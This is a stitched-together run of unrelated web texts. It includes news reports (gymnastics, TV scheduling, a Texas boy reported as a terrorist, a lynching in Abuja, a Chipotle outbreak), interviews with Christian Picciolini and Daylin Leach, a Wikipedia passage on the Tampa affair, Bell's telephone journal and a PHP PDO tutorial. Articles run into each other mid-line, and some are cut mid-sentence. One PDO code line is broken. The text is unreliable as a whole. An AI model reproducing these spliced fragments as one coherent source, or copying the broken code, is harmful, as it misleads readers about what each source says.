There was also police activity at Las Vegas KOA at Sam’s Town, adjacent to the casino. Tomer Berkowitz, 26, said police told him he could not enter the RV park because of an active incident involving Sam’s Town. He said he was told he could re-enter the campgrounds a short time later.
Contact Mike Shoro at mshoro@reviewjournal.com. Follow @mike_shoro on Twitter. Review-Journal writer Bianca Cseke contributed to this report.The U.S. Men’s Olympic Gymnastic team really wishes they were more popular, and is willing to do anything to draw the kind of attention the women’s team experiences every four years. Any by “anything” we do mean anything, including taking their shirts off so people can admire and ogle their toned abs.
In an article in the Wall Street Journal, U.S. star Sam Mikulak says the focus on their bodies is an intentional marketing ploy to bring more attention to the team.
In fact, he even wants to compete shirtless.
“Maybe compete with our shirts off,” said U.S. star Sam Mikulak, the four-time, reigning all-around national champion. “People make fun of us for wearing tights. But if they saw how yoked we are maybe that would make a difference.”
Let me pause here to just say that I’ve never heard the expression “yoked” before. Is that a real thing people are saying? Anyway, for obsessive fitness types, the Olympics offer plenty of inspiration, which Jake Dalton says could work in their favor.
“We have great physiques,” Dalton said. “Incredible physiques.”
One thing that could certainly help U.S. men’s gymnastics is if they were able to win more. The U.S. women have dominated Olympic and international competition for years, winning gold or silver since 2004. The last men’s team medal was a bronze at the 2008 Beijing games.
The U.S. men’s team competes Monday night, but sadly, will not be shirtless.Fox is moving frosh drama “Second Chance” to Fridays after two low-rated airings in the post-“American Idol” slot on Wednesday. The enduring “Hell’s Kitchen” will fill the void on Wednesdays as of next week.
The Frankenstein-inspired “Second Chance” had little traction despite a decent lead-in from “Idol.” Fox emphasized that the hope is the show will be more compatible on Friday with fantasy drama “Sleepy Hollow,” which returns for the second half of its third season in the 8 p.m. Friday berth as of Feb. 5.
Next week, “Second Chance” will open behind the finale of another cooking competition series, “MasterChef Jr.” Meanwhile, Fox is counting on “Hell’s Kitchen” to do a better job of hanging on to the “Idol” audience.
In its second outing, “Second Chance” mustered a mere 1.0 rating in adults 18-49 and 3.75 million viewers overall, fumbling more than half of its first-place “American Idol” lead-in (2.4 in 18-49, 9.2 million).
Nonetheless, Fox stressed that the show was not being written off and would remain in production. The drama stars Rob Kazinsky as a corrupt former L.A. sheriff who is killed at the age of 75 but brought back to life through the efforts of twin tech geniuses who run a social networking empire. Rand Ravich, Donald Todd and Howard Gordon are among the exec producers for 20th Century Fox TV.
“Hell’s Kitchen” launched its 15th cycle on Fox on Jan. 15. The show is among the network’s most durable — and portable — franchises, having aired in slots all over the schedule since its 2005 debut on Fox.The father of 6-year-old Maher Suleiman Mohammad, a Muslim boy with Down syndrome, has come forward with a wild story: his son’s substitute teacher called the cops on the 6-year-old boy because she thought that he was a terrorist.
As FOX News 26 reports, Maher’s father, Mohammad Suleiman, says the young boy’s disabilities mean he cannot speak at all and he needs constant special attention. However, the substitute teacher at his Pearland, Texas school thought she heard him say the words “Allah” and “boom” and called the police, claiming that young boy was a terrorist. That phone call prompted both a police investigation as well as an investigation by Child Protective Services.
“She claimed he was a terrorist,” said Maher. “This is so stupid, this is discrimination, actually, It’s not implied discrimination, it’s 100 percent discrimination.... The last three weeks, four weeks have been the hardest of my life. Even my wife, kids were crying...a few days ago and I told them, 'Okay, everything is fine.'”
The Pearland Police Department has confirmed to FOX 26 News that they concluded their investigation and found no need for police involvement. The Child Protective Services investigation remains open, while a spokesperson for the Pearland Independent School District did not release the name of the substitute teacher due to privacy laws.
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“In my opinion, based on everything I heard from the police department and speaking with the administration from the school, that this was a story piecemealed together by a substitute teacher alleging this child was sexually harassing her, the teacher, and possibly being a terrorist,” said local community activist Quanell X. “A 6-year-old kid.”Peter Williams has an uncompromising message as he describes the perception of British food among Chinese students.
The land of roast beef, fish and chips and ploughman’s lunches is, quite frankly, a joke.
“The UK has a bad reputation for food,” says Williams, director of the British Business Centre in Beijing. His Chinese colleagues love visiting the UK and enthuse about the experience. “But if they want to make fun of you for being British, they make fun of the food,” Williams says with a wry smile.
He is addressing a delegation of UK catering and hospitality managers from The University Caterers Organisation (TUCO) at the China-Britain Business Council in the sprawling city’s Chaoyang District. But Williams’ words are proving hard to swallow for his jet-lagged audience.
TUCO members have flown 5,000 miles to learn about the dining habits of Chinese students, who represent the UK’s biggest international market in higher education. Chinese students made up 20 per cent of all international students in 2013-14, according to Universities UK. The total number, 87,895, was up almost 5 per cent year-on-year.
UK universities pocketed £3.9 billion in tuition fees from international students in the same period. If growth in the Chinese market continues apace, it could soon be worth £1 billion to UK vice-chancellors.
The financial rewards, and the fostering of closer economic and political ties between Beijing and London – evidenced by the state visit of Chinese president Xi Jinping to the UK last October – explains why TUCO is keen to roll out the red carpet for what is an increasingly vital clientele.
Williams’ analysis certainly provides food for thought. He says that most Chinese students will have had no experience of Western food, or at least not good Western food, before they arrive in the UK. “Chinese people love food. It is a part of their culture they take particular pride in. They believe it is better than food in other countries. It is a tough battle to get Chinese students to eat British food.”
A visit to Peking University provides a wake-up call to anyone under the illusion that stereotypical sweet and sour pork, served on a monthly menu rotation, will cut it with Chinese students on British campuses.
At the university’s Nong Yuan canteen (literally “agricultural garden”), up to 10,000 students sit down for lunch from 10.30am. The scale of the catering operation is mind-blowing. The university serves 47,000 lunches each day through its various outlets. That is the equivalent of feeding more than half the British Army.
The volume does not limit choice. Over the three floors of Nong Yuan, some 350 freshly cooked dishes are available, including vast buffet-style options with noodles, fish, vegetables and braised meats. There are counters where dishes are cooked to order in woks; slow-cooked soups and broths in clay pots; and a formal restaurant that specialises in Peking duck. All of China’s eight main regional cuisines are represented.
Vegetable dishes start from the equivalent of just 5p, while a soup of glutinous pigs’ trotters and soya beans is 50p. Unlike the UK, the kitchens are not run as commercial enterprises and are state subsidised. It costs about £1 for a substantial meal at a Chinese institution, compared with £4-£6 in the UK.
There is a single Western food outlet, which serves an underwhelming pineapple-clad pizza. If the Chinese food offered on UK campuses is as authentic as the Chinese take on pizza, it is no wonder that students from Beijing, Shanghai and Guangzhou opt to cook for themselves rather than to dine in university canteens.
Members of the TUCO party admit that they have struggled to understand the food mindset of Chinese students. Representatives from many institutions, including the University of Birmingham, report unsuccessful attempts to woo Chinese students with congee, the hugely popular rice porridge dish. Having eaten authentic congee for the first time, the catering managers accept that their recipes have been wrong and that they have failed to offer the correct condiments (coriander, chillies, ginger, tofu, peanuts and such), which give the inherently bland dish its flavour.
Some mistakes have been born of cultural misunderstandings.
Scott Girvan, executive chef at the University of Glasgow, realises with horror that the Scottish university has been charging 10p for chopsticks. Most Chinese, the group learns, will never have used knives and forks. “Imagine you are a Chinese student and you have to pay for chopsticks. Well, you’re going to think, ‘What the hell have I done coming here?’ They are going to get the chopsticks for nothing now,” says Girvan.
In addition to Peking University, TUCO visits Beijing Normal University, a teacher training establishment, before moving to Sun Yat-sen University, Lingnan University (both in Guangzhou) and Hong Kong University. Of the five, Hong Kong is the only place where the TUCO delegates see sandwiches, which are typically given to baffled Chinese students at UK institutions.
Reflecting on the offerings for international students on UK campuses, TUCO director Matthew White, director of catering, hotel and conference services at the University of Reading, says: “One of the first meals they get is breakfast, which is likely to be cereal, milk and bread – all things the Chinese don’t really eat. Beans, egg and sausage isn’t going to cut it.”
Caterers plan to build on the success of the trip by putting together a training and information package on Chinese cooking for campus chefs and managers.
Julie Barker, chair of TUCO, says that there are key dishes, sauces and ingredients that will help to satisfy Chinese students’ yearning for a taste of home. But she concedes that it will be impossible to replicate the grand sweep of dishes provided at Chinese universities.
“The lowest number of hot meal choices we have come across in China is 100, every day of the week. It is just staggering,” says Barker, director of accommodation and hospitality service at the University of Brighton.
She adds that through the TUCO trip, the catering managers have been able to meet key people at Chinese universities, so “potentially we can look at exchange visits with chefs so they can learn from us and we can learn from them”.
But she also accepts: “My perceptions of Chinese food have been blown away. Changing that perception in the UK is going to be challenging.”The Philadelphia Phillies have stepped up their efforts to trade away closer Jonathan Papelbon in recent days, multiple sources told ESPN.com. But there are no indications the team is close to any deal involving the 34-year-old right-hander.
Jonathan Papelbon has about $8 million remaining in salary for this season. If he finishes 26 more games, he would guarantee his $13 million option for 2016. Rich Schultz/Getty Images
Over the past week, according to industry sources, the Phillies have called a number of contenders with potential need for a closer and told them the club would be willing to eat a portion of Papelbon's $13 million salary for this year, along with a portion of his $13 million vesting option for next season, if it brought them a better return in players.
Papelbon has about $8 million remaining in salary for this season. If he finishes 26 more games before the end of the year, which appears likely, he would guarantee his $13 million option for 2016. His contract also gives him the right to block a trade to 17 teams. And he would likely ask for a guarantee of his option year in order to waive his trade-veto rights.
Clubs that have spoken with the Phillies in the past say that until this month, they'd shown little interest in absorbing Papelbon's salary to facilitate a trade. However, sources familiar with the Phillies' thinking say they have softened that stance if it brings them better players back in any trade.
A source confirmed reports by CSNPhilly.com and FoxSports.com that the Phillies and Toronto Blue Jays have spoken about Papelbon this month. However, the Blue Jays have limited financial flexibility and undoubtedly would need the Phillies to absorb a significant amount of Papelbon's contract. And beyond them, the list of other potential contenders that could shop for a closer is short.
The Chicago Cubs, Seattle Mariners, Tampa Bay Rays and Miami Marlins are among the teams that have closer questions. But the Cubs recently signed closer Rafael Soriano to a minor league deal. And the Mariners, Rays and Marlins aren't known to be aggressively hunting for closer help at the moment.
The Phillies' market for Papelbon is also limited because he has said in the past he wouldn't accept a trade to a team that wanted to use him as a setup man for its current closer. And some teams have expressed concern about his clubhouse presence, although the Phillies have been working hard behind the scenes this year to remake Papelbon's image as a maturing leader in an otherwise-young Phillies bullpen.
In addition to Papelbon, Oakland's Tyler Clippard and Cincinnati's Aroldis Chapman could become available between now and the July 31 trading deadline. And other teams believe that's one more reason the Phillies appear motivated to move Papelbon sooner than later.Christian Picciolini spent his teen years at the helm of a US white supremacist group. Now, he runs Life After Hate – a charity dedicated to shining a light on ‘basic human goodness’
Text Dominique Sisley
It’s hard not to feel the chill in the current political climate. Over the last 12 months, the world seems to have regressed by decades; with hate-filled campaigns and populist politics swiftly becoming the norm in many Western societies. In the UK, for example, 2016 brought us an earth-shattering Brexit vote, as well as a fivefold rise in racially-motivated hate crimes. In the US, the right-wing rhetoric of Donald Trump now reigns supreme. For Christian Picciolini, these seismic shifts are not to be ignored. The son of Italian immigrants, he began life in a Blue Island city in Illinois, before eventually joining the neo-nazi Chicago Area Skinheads (CASH) in 1987. After feeling isolated by his parents, he became more and more involved with the group; attending rallies, recording white power music, and committing various and vicious acts of violence. “I spent eight years, from the time I was 14 years old in 1987 until I was 22 in 1995, as a member and eventual leader of America's first organised neo-Nazi skinhead gang,” he recalls. “When I became the group’s leader, I merged our group into the fledgling Hammerskin Nation: now the world's deadliest and most violent neo-Nazi/white supremacist organisation.” Thankfully, it was at that point that his beliefs began to fade. Now known as a “race traitor” by the same group he used to lead, Picciolini has rejected his toxic teen ideologies. Inspired by the death of his brother – whose life was lost to violence – he started up Life After Hate in 2010; a non-profit peace advocacy group dedicated to fighting the extremist hate he once spread. This was followed by the 2015 launch of ExitUSA, a “one-to-one support service” for anyone who needs help escaping a hate group. We caught up with Picciolini, now a successful TV producer and author, to find out more about his experiences. You spent eight years as a member – and eventual leader – of the Chicago Area Skinheads. Why do you think these white power groups attract so many people? Christian Picciolini: For me, the attraction was benign at first. I was a lonely kid that felt abandoned by my parents because they were off running a small business and I rarely saw them. Of course, I recognise now that they were trying to support their family the only way they knew how – to work hard. But as an adolescent, I longed for their attention and wasn't very good at communicating it other than internalising my loneliness and eventually seeking a surrogate family. For young people who feel marginalised, or who come from broken homes, these groups are attractive not for their ideologies, but rather their ability to provide a perceived sense of family, camaraderie, and purpose. Then, once you're accepted into the fold, the ideology and violence become mandatory if you want to stay a part of that family. For so many, the sense of belonging keeps them involved even after the ideological beliefs wear off. Not only is it sometimes dangerous to leave, it's also a fear of losing everything you have and having to start over.
“Trump hasn't created more racism, he's just created a safe, mainstream platform for them to legitimise and grow. Trump is a dream candidate for white nationalists” – Christian Picciolini
What are some of your biggest regrets from that period? Christian Picciolini: I have lots of regrets, as you can imagine. There were people I hurt physically and emotionally. There were people I hurt by recruiting them into the movement and altering their lives forever. I regret not spending more quality time with my little brother, who looked up to me and sought my attention by trying to follow in my violent footsteps. He was later murdered for being in the wrong place at the wrong time, but had I been able to mentor him, like I wished someone had for me, perhaps he would still be alive. I also regret all the seeds of hate I planted during those years. It's over 20 years since I've left that movement and I am still pulling toxic weeds that continue to sprout from those seeds two decades later. I feel personally responsible for the white extremist violence we continue to see too often in the US and abroad. While I may not be personally responsible, I helped put those vile ideas into the world and gave them credibility to some. Words and beliefs have consequences. But on the positive side, I do believe my experience shaped who I am now and equipped me for the work I've been doing for over 10 years to counter the hate-filled narrative I helped create. What ultimately made you decide to leave? Was there a particular moment? Christian Picciolini: There was no one moment, and it wasn't an overnight change. It was my life for eight years. It's all I knew as a young ‘adult’. But there were several important catalysts that challenged my belief system and fostered the transformation. The first was the birth of my children. When I |
the aftermath of the September 11 attacks. The Australian government's popularity rating rose throughout the crisis.[17] In the federal election following the arrival of the Tampa, the Liberal Party campaigned on the issue, with John Howard's statement "we decide who comes into this country and the circumstances in which they come."
The Australian electorate largely supported the Government. Some television news polls in Australia showed as much as 90 percent support for the Australian government's actions.[17] Many viewed the asylum seekers as "queue-jumpers" falsely claiming to be refugees, and criminals who "hijacked" the Tampa to gain illegal entry into the country. There were concerns of a security risk involving a "floodgates" where people smugglers would deliberately target Australia as a perceived "soft target". Some public commentators, including then-Minister for Defence Peter Reith, suggested that groups of asylum seekers arriving by boat could harbour terrorists.[18]
In 2003, economist Ross Gittins, a columnist at Fairfax Media, said former Prime Minister John Howard had been "a tricky chap " on immigration, by appearing "tough" on illegal immigration to win support from the working class, while simultaneously winning support from employers with high legal immigration.[19]
The issue also divided the Labor Party internally, with the Left faction of the party arguing strongly in favour of a "softer" approach, including the abolition of mandatory detention. The party leadership's compromise stance was pilloried by the Liberals as being wishy-washy and uncertain.[20]
In July 2007, an unauthorised biography of John Howard claimed that he had received advice from the Attorney-General's Department that refusing the asylum seekers entry into Australia would breach international law, but that he did so to gain public support in the then upcoming election.[21]
Fate of the refugees [ edit ]
Manoora HMAS
The refugees from the Tampa were loaded onto a Royal Australian Navy vessel, HMAS Manoora, which transported them to the small island country of Nauru, where most were held in two detention camps, State House and Topside.[22] They were eventually joined by hundreds of other asylum seekers, under Australia's "Pacific Solution". Approximately 150 people were diverted to New Zealand, where they were subsequently granted asylum and progress to citizenship. In 2004, following the war in Afghanistan and invasion of Iraq, the New Zealand government began to reunite their families.[23]
When those refugees not claimed by New Zealand arrived on Nauru, many of them refused to leave the boat after several additional weeks on board waiting for temporary shelters to be constructed, recognising they were to be held in detention camps pending the adjudication of their cases. Those eventually found to be refugees were granted three-year temporary protection visas, under which they could be returned to their places of origin in Afghanistan and Iraq at a time of the government's choosing.
On 23 May 2004, it was reported that most Afghan asylum seekers on Nauru recently granted refugee status were likely to be resettled in Australia. The Federal Government decided to grant refugee status to 92 Afghans detained on the Pacific island nation, while 11 applications were refused.[24]
Holders of a Temporary Protection Visa were not allowed multiple entrances into Australia and did not have access to the same services as normally recognised refugees (for example, free English language lessons and help with job search). Another small group was later accepted by New Zealand.[25]
Awards [ edit ]
The crew of the Tampa received the Nansen Refugee Award for 2002 from the United Nations High Commissioner for Refugees (UNHCR) for their involvement in the events.[26] Captain Arne Rinnan was also named captain of the year by the shipping newspaper Lloyd's List and Nautical Institute in London.[27]
See also [ edit ]
References [ edit ]
Further reading [ edit ]A middle aged Igbo man was lynched in Jiwa, a community in Abuja, FCT for what they considered as desecration of the Mosque.
The man was said to have urinated near a Mosque which attracted the angst of a Muslim faithful who threw a stone at him, the deceased was said to have retaliated by picking the same stone and throwing back at the man.
An eyewitness who narrated the incident to our reporter said that other Muslim faithful who were infuriated joined and lynched him.
As at press time, tension was mounting among youths in Jiwa and Gwagwa communities in Abuja Municipal Area Council (AMAC), over the killing.
According to the eyewitness, the man, whose name was not immediately disclosed to newsmen, was passing through one of the streets in the village, and then decided to urinate into a drainage, close to a mosque.
The Ibo man was confirmed dead a private hospital in Gwagwa village by doctors in the hospital.
Our correspondent gathered that it took the intervention of the Divisional Police Officer (DPO), Gwagwa Police Station and some other prominent persons in the two communities to contain the youths were gathering for a reprisal action.
However every effort to reach the FCT police public relations officer (PPRO), Anjuguri Manza proved abortive, as he told our reporter that he was not in Abuja to respond to such inquiries.It’s entered modern lore as a nightmare scenario for planet Earth: A huge asteroid or comet or a swarm of smaller comet fragments hits Earth and causes a major catastrophe. Now, scientists think they have evidence of a comet-fragment swarm slamming into the planet about 11,000 BC and killing thousands of people, setting off a small ice age and obliterating many large animals.
A press release from the University of Edinburgh in Scotland states:
“Analysis of symbols carved onto stone pillars at Gȍbekli Tepe in southern Turkey – one of the world’s most important archaeological sites – suggests that a swarm of comet fragments hit Earth around 11,000BC. They ushered in a cold climate that lasted more than 1,000 years.”
The Göbekli Tepe archaeological site, Turkey. (Teomancimit/ CC BY SA 3.0 )
The press release was written from the authors’ scholarly paper in Mediterranean Archaeology and Archaeometry. The authors are engineers Martin B. Sweatman and Dimitrios Tsikritsis
The engineers doing research on the event studied carvings of animals on a pillar called the Vulture Stone at Gȍbekli Tepe. They interpreted the carvings as astronomical symbols and tracked their positions to star patterns. The computer software they used dated the swarm of comet fragments to around 11000 BC.
Position of the sun and stars in the 10950BC summer solstice. ( Martin Sweatman, Stellarium )
“The dating from the carvings agrees well with timing derived from an ice core from Greenland, which pinpoints the event – probably resulting from the break-up of a giant comet in the inner solar system – to 10,890BC.” [ via University of Edinburgh press release]
The ‘Vulture-Stone’ at Gȍbekli Tepe. Credit: Alistair Coombs
The memory of this event apparently lived on for millennia, suggesting just how devastating and cataclysmic it was. The press release says it’s likely the cold climate had a serious impact on the people of Gȍbekli Tepe.
The researchers indicated the images on the Vulture Stone comprised a sort of record of the catastrophe. They said the nearby carving of a man without a head could have been a symbol of widespread death.
Carving of a headless man on the ‘Vulture Stone’ at Gȍbekli Tepe. Photo credit: Alistair Coombs
They also say the symbols on the pillar show that the people who carved it were tracking long-term changes in the rotational axis of the Earth in an early form of writing. Furthermore, they suggest Gȍbekli Tepe was an observatory for comets and meteors, among other things.
The research seems to lend credence to a theory that our planet is more likely to experience comet strikes during periods when Earth’s orbit intersects with rings of comet fragments in space, the press release states.
Ancient Origins reported in July 2015 that artifacts from the Gȍbekli Tepe site indicate the city was intended for ritual use only and not as a domain for human occupation. Each of 20 structures in the complex consists of a ring of walls surrounding two T-shaped monumental pillars between 3 meters (9 feet) and 6 meters (19 feet) high and weigh between 40 and 60 tons.
In 2015, this Vulture Stone pillar was announced as possibly the oldest known pictograph on an obelisk in the world. A pictograph is an image that conveys meaning through its resemblance to a physical object. These images are most commonly found in pictographic writing, such as hieroglyphics or other characters used by ancient Sumerian and Chinese civilizations. Some non-literate cultures in parts of Africa, South America, and Oceania still use them.
“The scene on the obelisk unearthed in Göbekli Tepe could be construed as the first pictograph because it depicts an event thematically,” the director of the Şanlıurfa Museum, Müslüm Ercan, told Hurriyet Daily News in 2015. Ercan was leading the excavation at Göbekli Tepe.
“It depicts a human head in the wing of a vulture and a headless human body under the stela. There are various figures like cranes and scorpions around this figure. This is the portrayal of a moment; it could be the first example of pictograph. They are not random figures. We see this type of thing portrayal on the walls in 6,000-5,000 B.C. in Çatalhöyük [in modern-day western Turkey].”
Top image: The ‘Vulture-Stone’ at Gȍbekli Tepe. ( Alistair Coombs ) Artistic representation of a comet or meteor heading towards Earth. ( Public Domain )
By Mark Miller'Black Guns Matter' group working to explain gun rights Copyright by WWLP - All rights reserved Video
SPRINGFIELD, Mass (WWLP) - The group calls themselves, "Black Guns Matter"; it's an organization that deals with fire arm safety and training. They're working to educate and inform urban communities about their 2nd amendment rights and responsibilities.
Dozens of people, of all ages, races, and genders, crowded a banquet room at the Marriott Hotel in downtown Springfield Friday night. "I learned more about the Massachusetts laws and what's available and what the regulations are," said Corrie Sells of Springfield.
The founder of "Black Guns Matter", Maj Toure told 22News the movement has nothing to do with race; "Firearms that are black are easier to conceal. So it's not about a race, but it's more about the fire power and respect. We try to inform people in the urban environment, at risk areas about their second amendment rights."
The organization raised $20,000 in four months, so they could offer free firearms safety training across the U.S. They said the goal is to make sure law abiding citizens have the knowledge and the means to protect themselves.
At the end of the class, attendees received a free NRA certified firearm certificate, that they can take to their local police department to file for a gun permit.NORML recently interviewed Pennsylvania State Senator Daylin Leach regarding marijuana law reform and the role it has played in state politics and his campaign. While serving in Harrisburg, Senator Leach introduced measures to legalize marijuana for both medicinal and recreational purposes. In addition to currently serving in the state Senate, Daylin Leach is also a candidate in the Democratic primary to represent the Pennsylvania 13th Congressional District in the US House of Representatives (and had previously received the endorsement of NORML PAC).
What personally made you embrace marijuana law reform?
Senator Daylin Leach: My embrace for marijuana reform was based off of the pernicious and destructive laws currently in place. We live in a society where marijuana prohibition is putting a strain on our justice system that cannot continue, where sick children and adults are not getting the medicine they need, and where otherwise law-abiding citizens are losing their freedom for partaking in a “drug” that is so much less harmful than alcohol.
Despite 58% of Americans supporting marijuana legalization, why do you think some politicians are still hesitant to support these important reforms?
DL: Fear and lack of understanding. Though the public is overwhelmingly supportive, understanding this support has not made its way up to many elected officials. They fear losing their next election and they do not understand what this polling means, how American sentiment on this issue has shifted.
Only after they see other politicians running – and winning – on ending prohibition will they understand that the tide has truly turned.
That is where NORML comes in, those of us who are running for Congress on this issue need your support so that we can show that this is not an issue to be afraid of, and that public support in polls is evident at the voting booth.
What has the reception to your marijuana reform platform been like?
DL: The reception from within the movement, from groups like NORML, has been fantastic.
From voters and constituents, it has been gratitude that we are talking about finding an end to prohibition, that we are finding safe and legal ways for people to get the medicine that they need, and that we are bringing some common sense to the criminal justice system.
The only push-back that I’ve gotten is from some of my fellow politicians who (as I stated in the earlier response) just don’t get it.
What advice would you give to marijuana law reform supporters who are working to change laws and bring politicians over to their side?
DL: Three words: win more elections.
Whether it is through campaign contributions (every bit helps!), or volunteering to help make phone calls or knock on doors, we need everyone who cares about this issue to mobilize around elections. And once we start winning, the politicians will follow.
If elected, what actions would you take to move away from our failed policy of marijuana prohibition?
DL: Ideally, the federal government would end prohibition with a single piece of legislation, but realistically, that won’t pass — yet.
So, given the political realities, we need to push for more achievable goals. That is why, on taking office, I would add my name as a co-sponsor to HR 1635: the National Commission on Federal Marijuana Policy Act; HR1523: the Respect State Marijuana Laws Act; and, most importantly, HR 2652: The Marijuana Business Access to Banking Act so that businesses conducting legal business transactions can do so with the same federal banking protections as every other business.
It is winning incremental steps like these that will slowly push lawmakers toward our ultimate goal.
Any final words for the NORML audience?
DL: No other candidate in the Congressional election in PA-13 supports anything close to marijuana legalization, and no other candidate has even addressed it as part of their campaign. I have, and I am proud of that. But I can only get there with your help.
My Congressional district covers parts of Philadelphia and is in the 4th most expensive media market in the country (behind only New York, Los Angeles, and Chicago). Our election is May 20th and to communicate our message we are currently spending $200,000 a week!
We need you. Only by wining victories like my race will the issue and the movement progress forward. If you can make a contribution, thank you. If you can’t, sign up to phone bank (which you can do from anywhere in the country), and if you live near Philadelphia, stop by to help us knock doors.
This campaign lives and dies by the grassroots efforts of our supporters, and we need you now!
Thank you for all of your support.
Article republished from NORMLA Chipotle restaurant has been shut down due to an outbreak of illness among Boston College students who ate there, CBS Boston reports.
The college says 30 students, including members of the men's basketball team, have complained of gastrointestinal symptoms, including vomiting and diarrhea. They all had eaten at the Chipotle restaurant located at Cleveland Circle over this past weekend.
The Massachusetts Department of Public Health is now investigating, but it has not yet determined if those illnesses are related to the national outbreak of E. coli at Chipotle.
E. coli outbreak linked to Chipotle expands
The FDA still has not yet determined which ingredient at Chipotle might be making people sick.
Chipotle shut down 43 restaurants in Washington state and Oregon after the outbreak first started in late October. Those have since reopened. Additional cases of illness have been reported in California, Minnesota, New York, and Ohio.
Chipotle (CMG) shares continued to fall Monday even though the chain known for its burritos and bowls has committed to heightened food safety standards.
In a statement, Chipotle said: "The safety and well-being of our customers is always our highest priority, so our restaurant at Cleveland Circle in Boston is temporarily closed while we work with local health officials to investigate a number of illnesses among Boston College students. We do not have any evidence to suggest that this incident is related the previous E. coli incident. There are no confirmed cases of E. coli connected to Chipotle in Massachusetts."
The Boston College office of communications provided CBS News with a statement, saying, "Students who are experiencing these gastrointestinal symptoms are encouraged to seek medical care either at BC Health Services or from their own physician."From the journal of Alexander Graham Bell, March 10, 1876:
Mr. Watson was stationed in one room with the Receiving Instrument. He pressed one ear closely against S and closed his other ear with his hand. The Transmitting Instrument was placed in another room and the doors of both rooms were closed.
I then shouted into M the following sentence: "Mr. Watson - Come here —I want to see you." To my delight he came and declared that he had heard and understood what I said.
I asked him to repeat the words. He answered "you said `Mr. Watson —come here —I want to see you'." We then changed places and I listened at S while Mr. Watson read a few passages from a book into the mouth piece M. It was certainly the case that articulate sounds proceeded from S. The effect was loud but indistinct and muffled.
If I had read beforehand the passage given by Mr. Watson I should have recognized every word. As it was I could not make out the sense — but an occasional word here and there was quite distinct. I made out "to" and "out" and "further," and finally the sentence "Mr. Bell Do you understand what I say? DO-YOU-un- der-stand-what-I-say" came quite clearly and intelligibly.
Available on-line.
n
On April 4, 1877, the world's first regular telephone line commenced operation, connecting the machine shop of Charles Williams at 109 Court Street, Boston, with his home in Somerville. Bell wrote to his wife Mabel:
I went into his office this afternoon and found him talking to his wife by telephone. He seemed as delighted as could be. The articulation was simply perfect, and they had no difficulty in understanding one another. The first Telephone line has now been erected and the Telephone is in practical use!
n
William Preece, chief engineer of the Post Office, wrote in his diary on May 17, 1877 :
During the day we sweltered in the western union building and during the evening we attended a lecture by Professor Bell on his telephone. We heard an organ distinctly that was played in New Brunswick 32 miles off, and conversed with a man there. Cyrus Field and I spoke and were answered clearly. It is a very wonderful performance and I am simply lost in amazement not so much at the performance itself as at the simplicity of the apparatus employed in producing the phenomenon.
Quoted in Alexander Graham Bell: A Life, by James Mackay (Wiley and Sons, Inc. 1997)Fetching objects with PDO
Like any other database extension, PDO can create instances of the existing classes right from the selected data. But, unlike other extensions, PDO offers many features for the powerful and flexible object manipulation.
Fetching a single object
To create a single object from the query results you have two options. You can use the either a familiar fetch() method:
class User {};
$stmt = $pdo -> query ( 'SELECT name FROM users LIMIT 1' );
$stmt -> setFetchMode ( PDO :: FETCH_CLASS, 'User' );
$user = $stmt -> fetch ();
or a dedicated fetchObject() method:
class User {};
$user = $pdo -> query ( 'SELECT name FROM users LIMIT 1' )-> fetchObject ( 'User' );
Although both code snippets will give you the same instance of a User class,
/* object(User)#3 (1) {
["name"] => string(4) "John"
} */
the latter approach looks definitely cleaner. Besides, if fetch() method is used, but no class defined with such a name, an array will be silently returned, while with fetchObject() an appropriate error will be thrown.
Fetching an array of objects
Of course, both methods described above could be used with a familiar while statement to get consequent rows from database. Nonetheless, a handy fetchAll() method can be used to get all the returned records in the array of objects at once:
class User {};
$users = $pdo -> query ( 'SELECT name FROM users' )-> fetchAll ( PDO :: FETCH_CLASS, 'User' );
will give you an array consists of objects of a User class, with properties filled from returned data:
/* array(2) {
[0]=> object(User)#3 (1) {
["name"] => string(4) "John"
}
[1]=> object(User)#4 (1) {
["name"]=> string(4) "Mike"
}
} */
Note that you can combine this mode with PDO::FETCH_UNIQUE and PDO::FETCH_GROUP, to get the resulting array indexed by an unique field or to make results grouped by a non-unique field respectively. For example, the following code will return an array, where a record id will be used as array index instead of consecutive numbers.
class User {};
$stmt = $pdo -> query ( 'SELECT id, id, name, car FROM users' );
$users = -> fetchAll ( PDO :: FETCH_CLASS | PDO :: FETCH_UNIQUE, 'User' );
Assigning class properties
No matter which method you choose, all the columns returned by the query will be assigned to the corresponding class' properties according to the following rules:
if there is a class property, which name is the same as a column name, the column value will be assigned to this property
if there is no such property, then a magic __set() method will be called
method will be called if __set() method is not defined for the class, then a public property will be created and a column value assigned to it.
For example, this code
class User
{
public $name ;
}
$user = $pdo -> query ( 'SELECT * FROM users LIMIT 1' )-> fetchObject ( 'User' );
will give you an object with all the properties automatically assigned, no matter, whether they exist in the class or not:
/* object(User)#3 (4) {
["id"] => string(3) "104"
["name"] => string(4) "John"
["sex"] => string(4) "male"
["car"] => string(6) "Toyota"
} */
From this you can tell that to avoid an automated property creation you could to use the magic __set() method to filter the properties out. The simplest filtering technique would be just an empty __set() method. With it, only existing properties will be set:
class User
{
private $name ;
public function __set ( $name, $value ) {}
}
$user = $pdo -> query ( 'SELECT * FROM users LIMIT 1' )-> fetchObject ( 'User' );
/*
array(1) {
[0]=> object(User)#3 (1) {
["name":"User":private]=> string(4) "John"
}
} */
As you can see, PDO can assign values to private properties as well. Which is a bit unexpected but extremely useful.
Passing constructor parameters to an object
Of course, for a newly created object we may want to supply constructor parameters. For this purpose, both fetchObject() and fetchAll() methods has a dedicated parameter, which you can use to pass the constructor arguments in the form of array.
Let's say we have a class User, with a car property that can be set in a constructor from a supplied variable:
class User {
public function __construct ( $car ) {
$this -> car = $car ;
}
}
when fetching a record, we should add an array with constructor parameters:
$users = $pdo -> query ( 'SELECT name FROM users LIMIT 1' )
-> fetchAll ( PDO :: FETCH_CLASS, 'User', [ 'Caterpillar' ]);
$user = $pdo -> query ( 'SELECT name FROM users LIMIT 1' )
-> fetchObject ( 'User',[ 'Caterpillar' ]);
which will will give us
/* object(User)#3 (2) {
["name"] => string(4) "John"
["car"] => string(11) "Caterpillar"
} */
As you can see, a value from database has been overwritten, because by default PDO assigns class properties before calling a constructor. Which could be a problem, that, however, can be easily solved:
Setting class properties after calling a constructor
The most popular comment for the mysql_fetch_object() says:
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed. This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
Pity for mysql an mysqli extensions, but we are using a shiny PDO. So there is way to tell PDO to assign properties after the constructor execution. For this purpose a PDO::FETCH_PROPS_LATE constant have to be used.
With fetchAll() it will be plain and simple,
class User {
